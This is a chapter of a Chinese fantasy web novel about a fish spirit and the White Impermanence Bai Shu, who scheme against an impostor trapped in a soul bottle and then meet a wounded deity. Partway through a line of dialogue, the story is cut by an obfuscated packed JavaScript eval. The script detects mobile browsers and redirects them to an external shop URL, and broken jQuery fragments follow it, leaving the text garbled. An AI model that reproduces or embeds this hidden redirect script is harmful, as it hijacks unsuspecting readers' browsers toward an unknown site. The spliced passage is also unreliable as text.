吃完午饭后,两人边走边逛,买了不少年小鱼感兴趣的人类产物。
回到别墅,卸下了手中的购物袋,二人恢复原形,闲散地瘫在了沙发上。
午后的阳光温暖如泉水,烘烤在年小鱼身上,她舒适地闭上了眼。
懒懒散散间,思考起自己的现状。
本来以为是从黑鬼手里夺回生死簿,转眼间就变成了要打败神族后裔伏厉。
这不是天方夜谭呢嘛?
按理来说,这种级别的事务,应该由仙庭派遣仙族来处理,她只需要打个配合就好。
但是那兜帽男子,也就是现在瓶中的假黑影池,很可能是冲自己来的,她又如何能逃得过死战呢?
“小鱼,把手给我。”白树的声音打断了她的思绪。
朦胧中睁开眼,年小鱼呆呆地将手递了过去。
过了一瞬,她才意识到,白树刚刚叫她“小鱼”。
一种微妙的羞耻感攀上了被他触碰的地方,转瞬,又被一股凉意取代。
灵力自白树指尖缓慢地涌入了她的体内,年小鱼一下子清醒过来,坐直了身体。
“你……”
此时年小鱼灵气充沛,他细细搜查起身体各处。
随着搜查,她的身体各处陆续泛起一股凉气,来自白树的鬼族气息在她血肉中涌动。
她心跳加快,头脑发热,扭了扭胳膊,有些想挣脱。
“别动。”白树按住了她,瞥了她一眼,眼里带着点微妙的责怪。
连成线的灵力被打断,他便只能再重新起。
你说不动就不动吗?年小鱼在心里抗议,但也还是安定下来,强忍着那种奇怪的痒意。
她隐约知道他在检查自己的身体。
但她一直以来都是这样的,灵气消耗的特别快。
一般来说,鬼族、妖族都是可以依靠修炼打坐来吸收万物灵气。
神族是能源源不断向外溢出灵气的存在,魔族则是与之相反以吞噬灵气为生。
年小鱼试过打坐,但那只会让灵气消耗的更快。
她需要依靠进食来补充灵气,无论是吃什么。
刚来冥界时,她的俸禄不足以购买太多吃的,哪怕是鬼族魔族最看不上的人类尸体残肢,她也是买不起的。
当时,饿急了,她就把屋内免费提供的家具吃下了肚。
年小鱼目光戚戚,希望白树能查出她到底是哪里出了问题。
白树皱了下眉,她的心也随之抖了一抖。
“我……是有哪里不对吗?该不会……命不久矣了吧?”
白树松开了手,摇了摇头,转过了头,脸上没有像往常一般的笑意,多了几分凝重。
年小鱼慌了神,一把抓住了他的胳膊,“你,你不能查完之后什么都不说啊。”
她该不会真的快死了吧?
“我,我还有救吗?你不能放弃啊,再试试看嘛。”
白树眉头皱起,她在说什么?
年小鱼一屁股坐在他身旁,紧贴着他,晃了晃他的胳膊,“你快说话啊……”
白树看她一脸紧张,不可思议地张了张嘴,然后笑偏了身,靠在年小鱼身上,发出“哼哼”的笑声。
看他笑得如此开心,年小鱼也确定了自己没有死亡的忧虑。
轻叹了一口气,她气鼓鼓地说:“你还要笑到什么时候?”
白树抹了抹眼角笑出的眼泪,说:“你怎么会这么想?”
年小鱼笑了笑,垂下眼,用手背贴了贴滚烫的脸颊。
一直以来,她都觉得自己是格格不入的,她不知道正常的妖族是怎样的,反正不会是她这样的。
所以,便下意识觉得自己有问题。
“所以,我身体没什么问题吧?”
白树的表情凝了一瞬,说:“没什么问题,依照你的本能来行事就行。”
年小鱼愣住了,眯了眯眼。
不等年小鱼继续发问,白树就从手心召出了摄魂瓶,放在了茶几上。
“叮”的一声,如同白玉棋子落棋的声音。
“小鱼姑娘身体有碍吗?”假黑影池关切地询问。
年小鱼无奈一笑,与白树对视,确定了两人先前的猜测。
假黑影池与她有旧日恩怨。
年小鱼抱起双臂,压低了眉头,瞥了瞥白树。
白树意会,看向摄魂瓶,说:“她没事。倒是你,不是恢复灵力了吗?要不要出来转转。”
空气凝固了几秒,假黑影池说:“不了,等我再修养修养,之后也好保护小鱼姑娘啊。”
年小鱼翻了个白眼。
白树嗤笑道:“你还挺有觉悟,所以……你是打算对战伏厉了?”
“我想了想,小鱼姑娘说的也有道理,如果一定要有一个人去面对伏厉,那还是白树去吧,总不能让小鱼姑娘以身犯险,白树,你觉得呢?”
白树抬起手遮住笑意,而后又放了下去,说:“我觉得……让小鱼来决定吧。”
年小鱼与他对视,只觉得他在给自己挖坑。
瞪了他一眼,她缓缓问道:“黑影池,你确定……要兵分两路吗?”
“……我只是给个建议,还是看你们自己想怎么做吧。”假黑影池似乎已经想通了一切,将选择全然返还给年小鱼和白树。
其实年小鱼没有选择,想要最大限度发挥出自己的诱饵价值以及白树的官威价值,只有一种选择。
“白树,你回冥界把锁魂图偷来吧,如何?”年小鱼目光灼灼。
白树听到如此大胆的提议,喜笑颜开:“你倒是敢说。”
年小鱼解释道:“人间流速很快,要是你在冥界耽搁太久,万一伏厉不回冥界,岂不是赶不上趟吗?”
假黑影池恳切谏言:“小鱼姑娘,偷盗秉公法器可是重罪。”
白树笑呵呵,这句话倒还真挺像黑影池会说出来的。
年小鱼轻“哼”一声,说:“再重能有关天牢重?”
反正是白树偷,又不是她偷。
“会……会遭受鞭魂焚魄之刑的,白树,你千万不能这么做,找不回生死簿反倒不是什么大事,毕竟那是神族后裔,但你要是明知故犯,后果会很严重的。”
年小鱼眯了眯眼,这玩意听上去倒还真比天牢之刑要更可怕。
白树洒脱地伸了个懒觉,左臂搭在了年小鱼头上,说:“你们是不是忘了……我可是白无常,那锁魂图本就是白无常应该拿的,这能算是偷吗?”
年小鱼瞥他一眼,右膝盖轻轻撞了一下他的腿。
作为所谓的白无常,他跨界的腰牌还是她从黑影渊那里框来的呢。
他倒装起来了。
“可是……”假黑影池还想阻止。
年小鱼一个拍掌,干脆地说:“那就这么愉快的决定了!白树,去偷锁魂图,哦不,去拿锁魂图,黑影池和我,留在人界打探消息。”
“小菜一碟,我很快回来。”白树的声音十分轻快。
白树将一个硬硬的东西塞到了年小鱼的手心,而后便原地消失了。
看着身旁一瞬间变得空空荡荡的沙发,年小鱼微微发愣。
怎么走的这么急。
手心里是黑影渊的腰牌,被黑色腰带裹得严严实实。
她垂下眸摩挲了一下,仿佛上面尚有余温。
片刻后,年小鱼将腰牌放进了腰包里,对着假黑影池轻声说:“白树已经走了。”
“这么快。”假黑影池也很惊讶。
年小鱼长舒了一口气,向后仰去,双手搭在了沙发靠背上。
现在她要一个人面对这个假黑影池了。
当然,一切都在计划当中。
洁白的天花板被落地窗外的阳光照得透亮,空气中有许多细小尘土漂浮舞动,年小鱼呆呆望着,等待着敌人的落子。
声音响起,如约而至。
“你会害怕伏厉吗?”
简直是明知故问的废话,她慢悠悠回答道:“我只是只小鱼精,当然会怕了,怎么,你会保护我吗?”
“当然,遇到危险,我一定挺身而出。小鱼姑娘……你对人间熟悉吗?我们之后是不是要外出探查情况?”
“不熟,没这权限,从来没来过。稍微等一会,看看白树能不能及时回来吧。”她无聊的玩起自己耳边的头发。
“那……小鱼姑娘去冥界工作之前,是做什么的呢?”
这问题,活像冥府抽查时上层会问的问题,年小鱼坐了起来,说:“无所事事,虚度光阴罢了。看样子,你对我很好奇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723039|208758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
假黑影池笑了笑,说:“小鱼姑娘灵力强大,聪明稳重,我会好奇也很正常吧。”
年小鱼像是被烫到了一样抖了一下,脸上满是嫌弃。
他这是在讽刺呢还是认真夸赞呢?
“我们还是……”
“咣”的一声,一道人影从天而降砸在了茶几上,玻璃在地上炸散开来,一个身穿蓝色劲装的男人被一把银枪贯穿腹部,那枪直直插入了地板之下,将男人钉在了地上。
年小鱼眼疾手快地把滚落在地上的摄魂瓶攥在了手心,打量起眼前的不速之客。
这个男人紧闭双眼,眼角留下鲜红的血痕,似是被伤了眼睛,额间满是汗渍,双手艰难地握住银枪试图将其拔出,手臂肌肉紧绷。
年小鱼伸头望着,那伤口不见血迹,只有一圈发着白光的裂缝,银枪紧紧嵌入其中,他的双手已是青筋暴起,但那枪却是分毫未动。
“玄离!”男人怒吼了一声,声音沙哑似栗粟。
年小鱼被吓得一抖,双手捏紧了摄魂瓶,轻声向其打招呼:“你好……”
男人僵住,停住了拔枪的狠劲,运转起灵气,压低了声线:“你是谁?”
神力场显现的一瞬间年小鱼就觉察出来了,目不可视的场将她笼罩,其间灵气为他所控。
年小鱼起了层薄汗,心念微动。他难道是伏厉?
她的嘴角似笑非笑,似哭非哭,说:“我只是一只小妖,您能别杀我吗?我可以帮您。”
男人没有说话,仍未收起神力场,灵气浮动,吹卷着年小鱼的碎发。
摄魂瓶内,黑影池看着假冒自己的黑衣少年不停踱步。
自那阵玻璃碎裂的声音打断了年小鱼的话之后,他的脸上就显出了慌乱。
黑影池远远看着,隐约起了冒险的念头。
躺着的男人轻叹了一口气,说“要是你能把这枪拔出来,我可以不杀你。”
面对这话,年小鱼会信?
她不信,但她说:“谢谢大人,我尝试一下。”
她将摄魂瓶放进了腰包,轻轻踢开脚边的玻璃碎渣,走到了躺在地上的男人身旁。
“大人,要是我拔出的太快,可能会很疼,您忍着点。”
那男人像是被气笑,轻哼了一声,说:“你随便拔。”听起来像是不觉得她能拔出来。
那银枪插得极深,只余一半枪身在上面。
年小鱼站直了身体,运气成力,稳住了下肢,眼睛一凝,快速伸出了双手握紧枪身,猛地一拔。
“烫,烫,烫!”
刚一握上就觉不对劲,滚烫刺痛席卷而来,逼得她松开了手。
一松手就急忙看向自己的手心,呼呼吹气,上面焦黑猩红混杂粘稠成一片,像是有上万只针扎一般,她疼的眼泪瞬间就流了下来。
“话说的太早了吧。”那男人幸灾乐祸地嘲笑年小鱼。
年小鱼颤颤巍巍地活动了一下五指,本来只打算握上去装装样子,没想到弄巧成拙被伤成这样。
她已经好久没有体会过疼痛的滋味了,实在是疼得难受,但是她不会治愈系的法术,也没有买过治伤的药丹。
这伤只能暂时搁置了。
年小鱼咬了下唇,放下了手,说:“大人,我拔不出来,要不……您大人有大量,放我一马,我就先走一步了。”
她偷偷运转灵气,打算溜之大吉。
突然,一只手握住了她的脚腕,灼灼热气蔓延而上,控住了她的下肢。
“不许走。”男人的声音坚硬似牢笼,“你应该看得出,我是神族吧。神力场内,你是逃不掉的。”
看着脚上那只宽大结实的手,年小鱼心生不快。
清了清嗓子,她说:“好,好吧,那我不走,敢问……您是哪支神族后裔?我还从来没见过神族呢,您告诉我,让我长长见识呗。”
男人收回了手,说:“我叫风盈。”
风盈!?
她分明记得风盈是个女孩子……
年小鱼睁大眼睛,往后退了一步,一个失神,跌坐在了沙发上。
男人继续施力尝试拔出银枪,拔的汗流直下、热血沸腾。
年小鱼嘴巴微张,呆呆地俯视男人的脸,看的冷汗直冒、心神俱颤。